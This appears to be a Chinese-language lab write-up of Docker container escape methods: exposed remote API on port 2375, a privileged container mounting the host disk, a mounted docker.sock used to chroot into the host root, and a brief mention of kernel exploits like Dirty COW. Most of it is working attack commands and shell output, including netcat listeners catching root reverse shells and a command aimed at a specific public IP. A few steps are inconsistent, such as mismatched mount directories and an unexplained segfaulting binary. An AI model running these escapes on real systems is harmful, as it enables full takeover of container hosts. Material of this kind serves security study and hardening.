root@dkhkp1Xe87xlKw:~# docker -H tcp://156.238.233.111:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
让目标主机拉取一个镜像
1
docker -H tcp://ip:2375 pull alpine
查看镜像
1 2 3
root@dkhkp1Xe87xlKw:~# docker -H tcp://ip:2375 images REPOSITORY TAG IMAGE ID CREATED SIZE alpine latest cea2ff433c61 4 weeks ago 8.31MB
以特权模式,启动拉取的alpine镜像
1 2 3
root@dkhkp1Xe87xlKw:~# docker -H tcp://ip:2375 run -it --privileged alpine /bin/sh / # ls bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
查看系统磁盘分区情况,再新建一个目录,将宿主机所在磁盘挂载到新建的目录
1 2 3 4
fdisk -l mkdir /hacker mount /dev/sda5 /orange ls orange/
Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type /dev/sda1 * 4,4,1 1023,254,2 2048 102856703 102854656 49.0G 83 Linux /dev/sda2 1023,254,2 1023,254,2 102858750 104855551 1996802 975M f Win95 Ext'd (LBA) /dev/sda5 1023,254,2 1023,254,2 102858752 104855551 1996800 975M 82 Linux swap
宿主机应该就是那个49g的内容
1 2 3 4
/ # mkdir /test && mount /dev/sda1 /test / # ls /test bin data etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz boot dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
C:\Users\0raN9e>nc -lnvp7777 listening on [any] 7777 ... connect to [192.168.71.1] from (UNKNOWN) [192.168.71.128] 33824 sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) 缁?0(root)
法二
1 2 3 4 5
/ # chroot /test ┌──(root㉿189cd425fa6e)-[/] └─# ls bin data etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz boot dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
root@3dd0cf5bce16:/tmp# vi t.c root@3dd0cf5bce16:/tmp# gcc t.c -o t root@3dd0cf5bce16:/tmp# ls t t.c root@3dd0cf5bce16:/tmp# ./t Segmentation fault (core dumped)
1 2 3 4 5 6 7 8
PS C:\Users\0raN9e> nc -lnvp7777 listening on [any] 7777 ... connect to [192.168.71.1] from (UNKNOWN) [192.168.71.128] 59162 root@kali:/# id id uid=0(root) gid=0(root) groups=0(root)
root@kali:/#
挂载docker socket逃逸
Docker 守护进程通过 Unix socket(通常 /var/run/docker.sock)暴露 API,root 身份运行。
挂载宿主的 docker.sock 进容器,意味着容器内程序可直接和宿主 Docker API 通信。
由于 Docker API 控制权相当于宿主 root,容器可随意新建特权容器或操作宿主所有容器,达到完全逃逸。
搭建
1
docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
root@00b7d415a76b:/# docker run -it -v /:/host ubuntu /bin/bash root@ec978ff73ab7:/# ls /host bin data etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz boot dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old root@ec978ff73ab7:/# chroot /host # id uid=0(root) gid=0(root) groups=0(root) # whoami root
实现了逃逸
内核漏洞逃逸
容器与宿主共享同一个 Linux 内核,内核漏洞一旦被利用,就可直接突破容器沙箱限制,获得宿主内核级权限,一旦容器内能触发本地内核漏洞,便可立刻对宿主提权,完成逃逸。
通常是cve,比如 Dirty COW (CVE-2016-5195)